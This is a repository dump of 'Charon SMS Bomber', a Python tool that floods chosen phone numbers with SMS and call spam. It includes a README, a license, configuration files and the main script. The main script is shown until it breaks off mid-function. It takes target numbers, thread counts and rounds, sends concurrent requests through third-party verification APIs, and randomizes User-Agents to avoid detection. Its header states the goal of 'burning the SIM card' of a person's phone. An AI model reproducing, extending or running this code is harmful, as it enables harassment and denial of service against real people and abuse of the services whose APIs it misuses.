├── version ├── requirements.txt ├── images ├── logo.png ├── prev1.png ├── prev2.png └── prev3.png ├── Core ├── Functions.py ├── Log.py ├── Config.py ├── Banner.py └── Api.py ├── README.md ├── .gitignore ├── LICENCE └── chsmsbomber.py /version: -------------------------------------------------------------------------------- 1 | 2.1.1 -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | requests 3 | fake-useragent 4 | -------------------------------------------------------------------------------- /images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/HEAD/images/logo.png -------------------------------------------------------------------------------- /images/prev1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/HEAD/images/prev1.png -------------------------------------------------------------------------------- /images/prev2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/HEAD/images/prev2.png -------------------------------------------------------------------------------- /images/prev3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/HEAD/images/prev3.png -------------------------------------------------------------------------------- /Core/Functions.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def clear_screen(): 4 | os.system('cls' if os.name == 'nt' else 'clear') 5 | 6 | def colorizeInput(prompt:str): 7 | print(prompt, end='', flush=True) 8 | ch = input() 9 | print() 10 | return ch -------------------------------------------------------------------------------- /Core/Log.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from colorama import Fore, init 3 | init(True) 4 | 5 | class Logs: 6 | # def __init__(self) -> None: 7 | @staticmethod 8 | def gettime(): 9 | return str(datetime.now().strftime("%H:%M:%S")) 10 | # def __init__(self): 11 | # 12 | # self. 13 | @staticmethod 14 | def success(text:str): 15 | return f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTGREEN_EX}SUCCESS{Fore.LIGHTBLUE_EX}]{Fore.LIGHTGREEN_EX} {text}" 16 | 17 | @staticmethod 18 | def failed(text:str): 19 | return f" {Fore.LIGHTBLUE_EX}[{Fore.LIGHTYELLOW_EX}{Fore.LIGHTYELLOW_EX}{Logs.gettime()}{Fore.LIGHTBLUE_EX}] [{Fore.LIGHTRED_EX}FAILED{Fore.LIGHTBLUE_EX}]{Fore.LIGHTRED_EX} {text}" 20 | 21 | @staticmethod 22 | def error(text): 23 | return f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTRED_EX}ERROR{Fore.CYAN}]{Fore.LIGHTRED_EX} {text}" 24 | @staticmethod 25 | def warning(text): 26 | return f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.YELLOW}WARNING{Fore.CYAN}]{Fore.YELLOW} {text}" 27 | 28 | @staticmethod 29 | def generalMessage(text): 30 | return (" " + text) 31 | 32 | @staticmethod 33 | def fetchMessage(text): 34 | return f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTCYAN_EX}FETCH{Fore.CYAN}]{Fore.LIGHTWHITE_EX} {text}" -------------------------------------------------------------------------------- /Core/Config.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore, init 2 | init() 3 | 4 | VERSION = "2.1.1" 5 | INPUT_HOME = f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTWHITE_EX}HOME{Fore.CYAN}]-[{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.WHITE} Choose > " 6 | INPUT_BACKMENU = f"\n\n {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTYELLOW_EX} Press {Fore.CYAN}[{Fore.LIGHTRED_EX}ENTER{Fore.CYAN}]{Fore.LIGHTYELLOW_EX} key to back to main menu ..." 7 | INPUT_EXIT = f"\n\n {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTYELLOW_EX} Press {Fore.CYAN}[{Fore.LIGHTRED_EX}ENTER{Fore.CYAN}]{Fore.LIGHTYELLOW_EX} key to exit ..." 8 | INPUT_START = f"\n {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.WHITE} Press {Fore.CYAN}[{Fore.YELLOW}CTRL+C{Fore.CYAN}]{Fore.WHITE} to stop the attacking or {Fore.CYAN}[{Fore.BLUE}ENTER{Fore.CYAN}]{Fore.WHITE} to start it" 9 | 10 | PROMPTS = [ 11 | f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTWHITE_EX} Enter the target phone number (e.g,091234567890): ", 12 | f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTWHITE_EX} Enter number of threads (e.g, 10):{Fore.WHITE} ", 13 | f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTWHITE_EX} Enter the number of SMS sending rounds for each number {Fore.CYAN}({Fore.LIGHTYELLOW_EX}Max: 20{Fore.CYAN}):{Fore.WHITE} ", 14 | f" {Fore.CYAN}[{Fore.LIGHTGREEN_EX}ChSMSBomber{Fore.LIGHTBLUE_EX}@{Fore.LIGHTMAGENTA_EX}INPUT{Fore.CYAN}]{Fore.LIGHTWHITE_EX} Enter delay time in seconds (e.g., 1.5):{Fore.WHITE} ", 15 | 16 | ] -------------------------------------------------------------------------------- /Core/Banner.py: -------------------------------------------------------------------------------- 1 | from Core.Functions import clear_screen 2 | from colorama import Fore, init 3 | init() 4 | 5 | 6 | 7 | class Banner: 8 | @staticmethod 9 | def DefaultBanner(): 10 | clear_screen() 11 | return f"""{Fore.CYAN} 12 | 13 | ▄████▄ ██░ ██ ██████ ███▄ ▄███▓ ██████ ▄▄▄▄ ▒█████ ███▄ ▄███▓ ▄▄▄▄ ▓█████ ██▀███ 14 | ▒██▀ ▀█ ▓██░ ██▒▒██ ▒ ▓██▒▀█▀ ██▒▒██ ▒ ▓█████▄ ▒██▒ ██▒▓██▒▀█▀ ██▒▓█████▄ ▓█ ▀ ▓██ ▒ ██▒ 15 | ▒▓█ ▄ ▒██▀▀██░░ ▓██▄ ▓██ ▓██░░ ▓██▄ ▒██▒ ▄██▒██░ ██▒▓██ ▓██░▒██▒ ▄██▒███ ▓██ ░▄█ ▒ 16 | ▒▓▓▄ ▄██▒░▓█ ░██ ▒ ██▒▒██ ▒██ ▒ ██▒▒██░█▀ ▒██ ██░▒██ ▒██ ▒██░█▀ ▒▓█ ▄ ▒██▀▀█▄ 17 | ▒ ▓███▀ ░░▓█▒░██▓▒██████▒▒▒██▒ ░██▒▒██████▒▒░▓█ ▀█▓░ ████▓▒░▒██▒ ░██▒░▓█ ▀█▓░▒████▒░██▓ ▒██▒ 18 | ░ ░▒ ▒ ░ ▒ ░░▒░▒▒ ▒▓▒ ▒ ░░ ▒░ ░ ░▒ ▒▓▒ ▒ ░░▒▓███▀▒░ ▒░▒░▒░ ░ ▒░ ░ ░░▒▓███▀▒░░ ▒░ ░░ ▒▓ ░▒▓░ 19 | ░ ▒ ▒ ░▒░ ░░ ░▒ ░ ░░ ░ ░░ ░▒ ░ ░▒░▒ ░ ░ ▒ ▒░ ░ ░ ░▒░▒ ░ ░ ░ ░ ░▒ ░ ▒░ 20 | ░ ░ ░░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░░ ░ 21 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 22 | ░ ░ ░ 23 | {Fore.LIGHTYELLOW_EX}Programming By {Fore.LIGHTWHITE_EX}AmirHossein Ghanami {Fore.LIGHTBLUE_EX}[ {Fore.LIGHTRED_EX}Ch4120N {Fore.LIGHTBLUE_EX}] 24 | """ 25 | 26 | @staticmethod 27 | def AttackingBanner(): 28 | clear_screen() 29 | return f"""{Fore.LIGHTRED_EX} 30 | ░█▀▀░█░█░█▀▀░█▄█░█▀▀░█▀▄░█▀█░█▄█░█▀▄░█▀▀░█▀▄ 31 | ░█░░░█▀█░▀▀█░█░█░▀▀█░█▀▄░█░█░█░█░█▀▄░█▀▀░█▀▄ 32 | ░▀▀▀░▀░▀░▀▀▀░▀░▀░▀▀▀░▀▀░░▀▀▀░▀░▀░▀▀░░▀▀▀░▀░▀ 33 | By {Fore.LIGHTWHITE_EX}AmirHossein Ghanami {Fore.LIGHTBLUE_EX}[ {Fore.LIGHTRED_EX}Ch4120N {Fore.LIGHTBLUE_EX}] 34 | """ 35 | 36 | 37 | class Menu: 38 | @staticmethod 39 | def MainMenu(): 40 | return f""" 41 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}1{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Start 42 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}2{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Continue {Fore.LIGHTRED_EX}(DISABLED) 43 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}3{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Help 44 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}4{Fore.CYAN}]{Fore.LIGHTGREEN_EX} About 45 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}5{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Exit 46 | """ 47 | @staticmethod 48 | def MainMenuContinue(): 49 | return f""" 50 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}1{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Start 51 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}2{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Continue 52 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}3{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Help 53 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}4{Fore.CYAN}]{Fore.LIGHTGREEN_EX} About 54 | {Fore.CYAN}[{Fore.LIGHTWHITE_EX}5{Fore.CYAN}]{Fore.LIGHTGREEN_EX} Exit 55 | """ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 | 6 | Charon SMS Bomber 7 | 8 | # Charon SMS Bomber 9 | 10 | ### _**Attacking To Multiple Phone Numbers With SMS & CALL Spam**_ 11 | 12 | Language 13 | Supported Platform 14 | License 15 | 16 | > `Charon SMS Bomber` is a powerful open-source tool written in Python 3, designed to deliver massive volumes of SMS and call spam simultaneously to multiple target numbers. 17 | --- 18 |
19 | 20 | ## Project Programmer 21 | 22 | > Ch4120N - Ch4120N@Proton.me 23 | 24 | ## Made For 25 | 26 | > Attacking To Multiple Phone Numbers With SMS & CALL Spam 27 | 28 | ## 👀 Screenshot 29 | 30 | preview 1 31 | preview 2 32 | preview 3 33 | 34 | ## ⚓ Requires 35 | 36 | > Python3 37 | 38 | ### Installing Requirement Packages 39 | 40 | > python -m pip install -r requirements.txt 41 | 42 | ## ⚙️ Installation 43 | 44 | ### For Linux 45 | 46 | ```bash 47 | sudo apt install python3 git -y 48 | git clone https://github.com/Ch4120N/Charon-SMS-Bomber.git 49 | chmod 755 -R Charon-SMS-Bomber 50 | cd Charon-SMS-Bomber 51 | python -m pip install -r requirements.txt 52 | python chsmsbomber.py 53 | ``` 54 | 55 | ### For Termux 56 | 57 | ```bash 58 | termux-setup-storage 59 | apt install python git -y 60 | git clone https://github.com/Ch4120N/Charon-SMS-Bomber.git 61 | chmod 755 -R Charon-SMS-Bomber 62 | cd Charon-SMS-Bomber 63 | python -m pip install -r requirements.txt 64 | python chsmsbomber.py 65 | ``` 66 | 67 | ### For Windows 68 | 69 | If you have Git on your computer, you can use this installation guide: 70 | 71 | ```batch 72 | git clone https://github.com/Ch4120N/Charon-SMS-Bomber.git 73 | cd Charon-SMS-Bomber 74 | python -m pip install -r requirements.txt 75 | python chsmsbomber.py 76 | ``` 77 | 78 | Otherwise, you can download the zip file from this [link](https://github.com/Ch4120N/Charon-SMS-Bomber/releases), extract it, and use it. 79 | 80 | ## 💻 Supported Operating Systems 81 | 82 | - [x] Debian 83 | - [x] Kali Linux 84 | - [x] Ubuntu 85 | - [x] Arch Linux 86 | - [x] Android (With Termux) 87 | - [x] Windows 7/8/10/11 88 | 89 | ## ✨ Features 90 | 91 | - **More Than 250 API For Attacking** 92 | - **Multi Target Phone Numbers** 93 | - **Config Persistence** 94 | - **Support Multi Processing** 95 | - **Update Checker** 96 | - **Good Design** 97 | - **Very High Speed** 98 | - **Advanced Error Handling** 99 | 100 | ## ❤️ Support the Project 101 | If you find this tool useful, consider donating: 102 | 103 | | Cryptocurrency | Address | 104 | | :------------- | :------------------------------------------- | 105 | | **BTC** | `bc1ql4syps7qpa3djqrxwht3g66tldyh4j7qsyjkq0` | 106 | | **ETH** | `0xfddbd535a4ad28792cbebceee3d6982d774e6d13` | 107 | | **USDT** | `3Cq6HRQsiwZFmPEQfG9eJkZE2QGChvf2VN` | 108 | > 💖 Your support helps keep the project alive and improving! 109 | 110 | ## 🚨 Reporting Issues 111 | > If you encounter bugs, configuration issues, or unexpected behavior, please reach out: 112 | 📩 Ch4120N@Proton.me 113 | 114 | ## ⚠️ Legal disclaimer ⚠️ 115 | 116 | > Usage of `Charon SMS Bomber` for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. 117 | 118 | ## Licence 119 | 120 | - CGBL (Charon General Black Licence) 121 | 122 | --- 123 |
124 | 125 | **⭐ If you like this project, don’t forget to give it a star!** 126 | 127 |
128 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[codz] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py.cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # UV 98 | # Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | #uv.lock 102 | 103 | # poetry 104 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 105 | # This is especially recommended for binary packages to ensure reproducibility, and is more 106 | # commonly ignored for libraries. 107 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 108 | #poetry.lock 109 | #poetry.toml 110 | 111 | # pdm 112 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 113 | # pdm recommends including project-wide configuration in pdm.toml, but excluding .pdm-python. 114 | # https://pdm-project.org/en/latest/usage/project/#working-with-version-control 115 | #pdm.lock 116 | #pdm.toml 117 | .pdm-python 118 | .pdm-build/ 119 | 120 | # pixi 121 | # Similar to Pipfile.lock, it is generally recommended to include pixi.lock in version control. 122 | #pixi.lock 123 | # Pixi creates a virtual environment in the .pixi directory, just like venv module creates one 124 | # in the .venv directory. It is recommended not to include this directory in version control. 125 | .pixi 126 | 127 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 128 | __pypackages__/ 129 | 130 | # Celery stuff 131 | celerybeat-schedule 132 | celerybeat.pid 133 | 134 | # SageMath parsed files 135 | *.sage.py 136 | 137 | # Environments 138 | .env 139 | .envrc 140 | .venv 141 | env/ 142 | venv/ 143 | ENV/ 144 | env.bak/ 145 | venv.bak/ 146 | 147 | # Spyder project settings 148 | .spyderproject 149 | .spyproject 150 | 151 | # Rope project settings 152 | .ropeproject 153 | 154 | # mkdocs documentation 155 | /site 156 | 157 | # mypy 158 | .mypy_cache/ 159 | .dmypy.json 160 | dmypy.json 161 | 162 | # Pyre type checker 163 | .pyre/ 164 | 165 | # pytype static type analyzer 166 | .pytype/ 167 | 168 | # Cython debug symbols 169 | cython_debug/ 170 | 171 | # PyCharm 172 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 173 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 174 | # and can be added to the global gitignore or merged into this file. For a more nuclear 175 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 176 | #.idea/ 177 | 178 | # Abstra 179 | # Abstra is an AI-powered process automation framework. 180 | # Ignore directories containing user credentials, local state, and settings. 181 | # Learn more at https://abstra.io/docs 182 | .abstra/ 183 | 184 | # Visual Studio Code 185 | # Visual Studio Code specific template is maintained in a separate VisualStudioCode.gitignore 186 | # that can be found at https://github.com/github/gitignore/blob/main/Global/VisualStudioCode.gitignore 187 | # and can be added to the global gitignore or merged into this file. However, if you prefer, 188 | # you could uncomment the following to ignore the entire vscode folder 189 | # .vscode/ 190 | 191 | # Ruff stuff: 192 | .ruff_cache/ 193 | 194 | # PyPI configuration file 195 | .pypirc 196 | 197 | # Cursor 198 | # Cursor is an AI-powered code editor. `.cursorignore` specifies files/directories to 199 | # exclude from AI features like autocomplete and code analysis. Recommended for sensitive data 200 | # refer to https://docs.cursor.com/context/ignore-files 201 | .cursorignore 202 | .cursorindexingignore 203 | 204 | # Marimo 205 | marimo/_static/ 206 | marimo/_lsp/ 207 | __marimo__/ 208 | .version 209 | -------------------------------------------------------------------------------- /LICENCE: -------------------------------------------------------------------------------- 1 | Copyright <2025> 2 | This Program Is Free Software: You Can Redistribute It And/Or Modify It Under The Terms Of The Charon General Black License As Published By The Black Hacking Software Foundation. 3 | 4 | Terms and Conditions for Copying, Distribution, and Modification: 5 | 6 | Non-use of other licenses: 7 | Software or tools distributed under the CGBL license cannot utilize other licenses. 8 | This clause is designed to maintain integrity and consistency in the use of this license. 9 | 10 | Permitted Use: 11 | This software is designed solely for legal and ethical use. 12 | Usage for educational purposes, legal penetration testing, and security evaluation is permitted. 13 | Any unauthorized use, including illegal hacking, data theft, or unauthorized system intrusion, is prohibited. 14 | 15 | Usage Conditions: 16 | Users must ensure that all their activities comply with local, national, and international laws. 17 | Users must obtain necessary permissions from system owners before conducting any penetration testing or related security activities. 18 | 19 | Attribution Requirement (Mandatory Naming and Credit): 20 | 1. **General Principle** 21 | Every individual, group, or organization using this software, whether in original or modified form, must provide clear, visible, and unambiguous credit to the original author. 22 | The required attribution text is: 23 | " - Original Developer of " 24 | 25 | 2. **Forms of Attribution** 26 | Attribution must appear in *all* of the following contexts where the software is used, published, or distributed: 27 | - **Source Code:** 28 | The attribution must remain in the file headers of the source code and must not be removed, altered, or obscured. 29 | - **Documentation:** 30 | Any documentation (manuals, wikis, reports, tutorials) that describes, explains, or accompanies the software must include a section explicitly mentioning the author and the license. 31 | - **User Interfaces (if applicable):** 32 | If the software has a user interface (CLI, GUI, or Web-based), a visible credit must be included in the "About" section, splash screen, or footer. 33 | - **Public Presentations and Demonstrations:** 34 | When the software is shown in conferences, academic settings, media, or training, the attribution must be announced verbally and/or displayed on slides or materials. 35 | - **Redistribution:** 36 | Any redistributed copies of the software (modified or not) must contain the attribution in both binary and source form. If distributed as part of another project, the attribution must remain accessible and visible. 37 | 38 | 3. **Format of Attribution** 39 | Attribution must always contain: 40 | - The full name of the original author () 41 | - The name of the software () 42 | - A reference to the license type (CGBL License) 43 | - A link to the license page: 44 | 45 | Example: 46 | "This software includes components of , originally developed by , licensed under the CGBL License. See for details." 47 | 48 | 4. **Prohibited Practices Regarding Attribution** 49 | - Removing or hiding the attribution text. 50 | - Replacing the author’s name with another name without acknowledgment. 51 | - Presenting the work as entirely original without mentioning the source. 52 | - Using deceptive methods to minimize or obscure attribution. 53 | 54 | 5. **Modified Versions** 55 | If the software is modified, the modified version must clearly indicate: 56 | - The original author and project name. 57 | - A statement that the version is modified. 58 | - The identity of the person or entity responsible for the modifications. 59 | - The modified version must continue to comply with this attribution clause. 60 | 61 | 6. **Internal and Private Use** 62 | Even in private or internal use (within a company, organization, or personal project), the attribution must remain in the code headers and internal documentation. 63 | Removal of attribution, even for private forks, is considered a violation of this license. 64 | 65 | 7. **Academic and Research Use** 66 | In any academic work (papers, theses, projects) where the software is used, proper citation of the author and the license is mandatory. The citation must follow academic standards and include reference to the license link. 67 | 68 | User Responsibility: 69 | Users are responsible for any use of the software and must report all their activities transparently and document them. 70 | Users must not use the software to create, distribute, or execute malicious code (such as viruses, trojans, and malware). 71 | 72 | Data Protection: 73 | Users must comply with all data protection and privacy laws. 74 | Users must not collect, store, or process personal or sensitive information without explicit permission from the owners. 75 | 76 | Distribution of Modifications: 77 | Any modifications or changes to this software must be distributed under the same original license and include all the terms and conditions of this license. 78 | Users must fully document all changes and publish a copy of the documentation along with the modified software. 79 | All modifications must also preserve the attribution clause mentioned above. 80 | 81 | Developer Commitments: 82 | The developer commits to providing the software with high ethical and legal standards and ensuring no intentional backdoors, vulnerabilities, or malicious features exist in the software. 83 | The developer assumes no responsibility for misuse, illegal use, or unethical behavior by users; all responsibilities and liabilities rest with the users. 84 | The developer reserves the right to update and amend the terms of this license at any time, with or without prior notice to users. 85 | 86 | License Termination: 87 | This license will automatically terminate if any of the above conditions are violated, and users must immediately cease using the software. 88 | The developer reserves the right to block access to the software for users who violate the terms of the license at any time and without prior notice and may take legal action against such users. 89 | Upon termination of the license, users must destroy all copies of the software in their possession and confirm in writing to the developer that this condition has been met. 90 | 91 | Disclaimer of Warranty: 92 | This software is provided "as is," without any express or implied warranty, including but not limited to warranties of merchantability, fitness for a particular purpose, and non-infringement. 93 | The developer does not warrant that the software will meet users' requirements, that the operation of the software will be uninterrupted or error-free, or that any defects identified will be corrected. 94 | Users assume all risks associated with the use of this software, including but not limited to risks of data loss, system damage, or any other adverse effects resulting from the use or misuse of the software. 95 | 96 | Limitation of Liability: 97 | In no event shall the developer be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including but not limited to loss of use, data, or profits) arising from or in connection with the use or performance of this software, whether in contract, tort, or otherwise, even if advised of the possibility of such damages. 98 | The developer's total liability arising from or in connection with this license or the use of the software shall not exceed the amount paid by the user for the software, if any. 99 | 100 | For more details, See 101 | -------------------------------------------------------------------------------- /chsmsbomber.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | ###################################################################################### 4 | # About : # 5 | # # 6 | # Description: This Program Powered By Charon Security Agency # 7 | # Made for: Fun and burning the SIM card of a person's phone # 8 | # Programmer: AmirHossein Ghanami (Ch4120N) # 9 | # # 10 | # Copyright : # 11 | # # 12 | # Charon SMS Bomber (C) <2025> # 13 | # This Program Is Free Software: You Can Redistribute It # 14 | # It Under The Terms Of The `Charon General Black License` As Published By # 15 | # The Black Hacking Software Foundation , Either Version 1 Of The License. # 16 | # This Program Is Distributed In The Hope That It Will Be Useful, # 17 | # But Without Any Warranty . See The # 18 | # `Charon General Black License` For More Details. # 19 | # You Should Have Received A Copy Of The `Charon General Black License` # 20 | # Along With This Program. If Not, See # 21 | # # 22 | ###################################################################################### 23 | 24 | import os 25 | import signal 26 | import json 27 | import sys 28 | import requests 29 | import time 30 | import webbrowser 31 | import concurrent.futures as confutures 32 | from Core.Config import * 33 | from Core.Functions import colorizeInput 34 | from Core.Banner import Banner, Menu 35 | from Core.Api import API_LIST, API_VERSION, API_LIST_COUNT 36 | from Core.Log import Logs 37 | from fake_useragent import UserAgent 38 | 39 | # Generate random User-Agent headers to make requests look less predictable 40 | ua = UserAgent() 41 | 42 | 43 | class ChSMSBomber: 44 | """ 45 | ChSMSBomber - A multi-threaded SMS Bomber tool for educational/research use. 46 | 47 | Features: 48 | - Multi-target: Allows bombing multiple phone numbers at once. 49 | - Threading: Uses ThreadPoolExecutor for concurrent API requests. 50 | - Round-based: Can send multiple attack "rounds". 51 | - Config persistence: Saves attack parameters to continue.json for resuming. 52 | - Update checker: Automatically checks for new versions from GitHub. 53 | """ 54 | 55 | def __init__(self): 56 | # Default runtime configuration 57 | self.REQUEST_TIMEOUT = 5 # Timeout for each request (seconds) 58 | self.REQUEST_DELAY = 0.05 # Delay between requests (seconds) 59 | self.targetPhoneNumber = [] # List of targets 60 | self.numThreads = 0 # Number of concurrent threads 61 | self.numRounds = 0 # Number of attack rounds 62 | self.API_LIST = [] # API endpoints for SMS sending 63 | 64 | # Attach signal handler for CTRL+C 65 | signal.signal(signal.SIGINT, self.CTRL_C_SIGNAL) 66 | 67 | # Show banner and check for updates 68 | print(Banner.DefaultBanner()) 69 | self.check_update() 70 | 71 | # Menu loop 72 | while True: 73 | print(Banner.DefaultBanner()) 74 | 75 | # If there’s a saved session, show "Continue" menu 76 | if os.path.exists("continue.json"): 77 | print(Menu.MainMenuContinue()) 78 | else: 79 | print(Menu.MainMenu()) 80 | 81 | try: 82 | mainMenuInputChoose = int(colorizeInput(INPUT_HOME)) 83 | 84 | if mainMenuInputChoose == 1: 85 | self.startMain() # Start new bombing session 86 | elif mainMenuInputChoose == 2: 87 | self.continueMain() # Continue from saved configuration 88 | elif mainMenuInputChoose == 3: 89 | webbrowser.open("https://github.com/Ch4120N/Charon-SMS-Bomber") 90 | elif mainMenuInputChoose == 4: 91 | self.aboutMain() # Display about info 92 | elif mainMenuInputChoose == 5: 93 | # Exit cleanly 94 | print("\r" + Logs.error("Program Interrupted By User!"), flush=True) 95 | os.kill(os.getpid(), signal.SIGTERM) 96 | except ValueError: 97 | print(Logs.error("Invalid Value. Please Insert Number (e.g, 1)")) 98 | colorizeInput(INPUT_BACKMENU) 99 | 100 | def CTRL_C_SIGNAL(self, frm, func): 101 | """ 102 | Graceful shutdown when user presses CTRL+C. 103 | """ 104 | print("\n\n", "\r" + Logs.error("Program Interrupted!"), flush=True) 105 | os.kill(os.getpid(), signal.SIGTERM) 106 | 107 | def check_update(self): 108 | """ 109 | Compare local VERSION with the GitHub version file. 110 | Terminates if update is available. 111 | """ 112 | print(Logs.fetchMessage("Checking for updates ...")) 113 | fver = requests.get( 114 | "https://raw.githubusercontent.com/Ch4120N/Charon-SMS-Bomber/master/version" 115 | ).text.strip() 116 | 117 | if fver != VERSION: 118 | print(Logs.generalMessage( 119 | f"{Fore.LIGHTRED_EX}An update available. " 120 | f"Please visit {Fore.LIGHTBLUE_EX}https://github.com/Ch4120N/Charon-SMS-Bomber" 121 | )) 122 | colorizeInput(INPUT_EXIT) 123 | sys.exit(1) 124 | else: 125 | print(Logs.generalMessage(f"{Fore.LIGHTGREEN_EX}ChSMSBomber is up to date")) 126 | time.sleep(1.5) 127 | 128 | def send_request(self, session, api_config): 129 | """ 130 | Sends a request to an API endpoint. 131 | 132 | Args: 133 | session (requests.Session): Session object for efficiency. 134 | api_config (dict): Contains method, URL, headers, payload, etc. 135 | 136 | Returns: 137 | bool: True if success (status 2xx), False otherwise. 138 | """ 139 | try: 140 | method = api_config.get("method", "POST").upper() 141 | url = api_config["url"] 142 | 143 | # Clone headers and inject random User-Agent 144 | headers = api_config.get("headers", {}).copy() 145 | headers['User-Agent'] = ua.random 146 | 147 | request_kwargs = { 148 | "headers": headers, 149 | "timeout": self.REQUEST_TIMEOUT, 150 | "verify": False # Disable SSL verification warnings 151 | } 152 | 153 | # Payload handling 154 | if "payload" in api_config: 155 | request_kwargs["json"] = api_config["payload"] 156 | elif "data" in api_config: 157 | data_str = 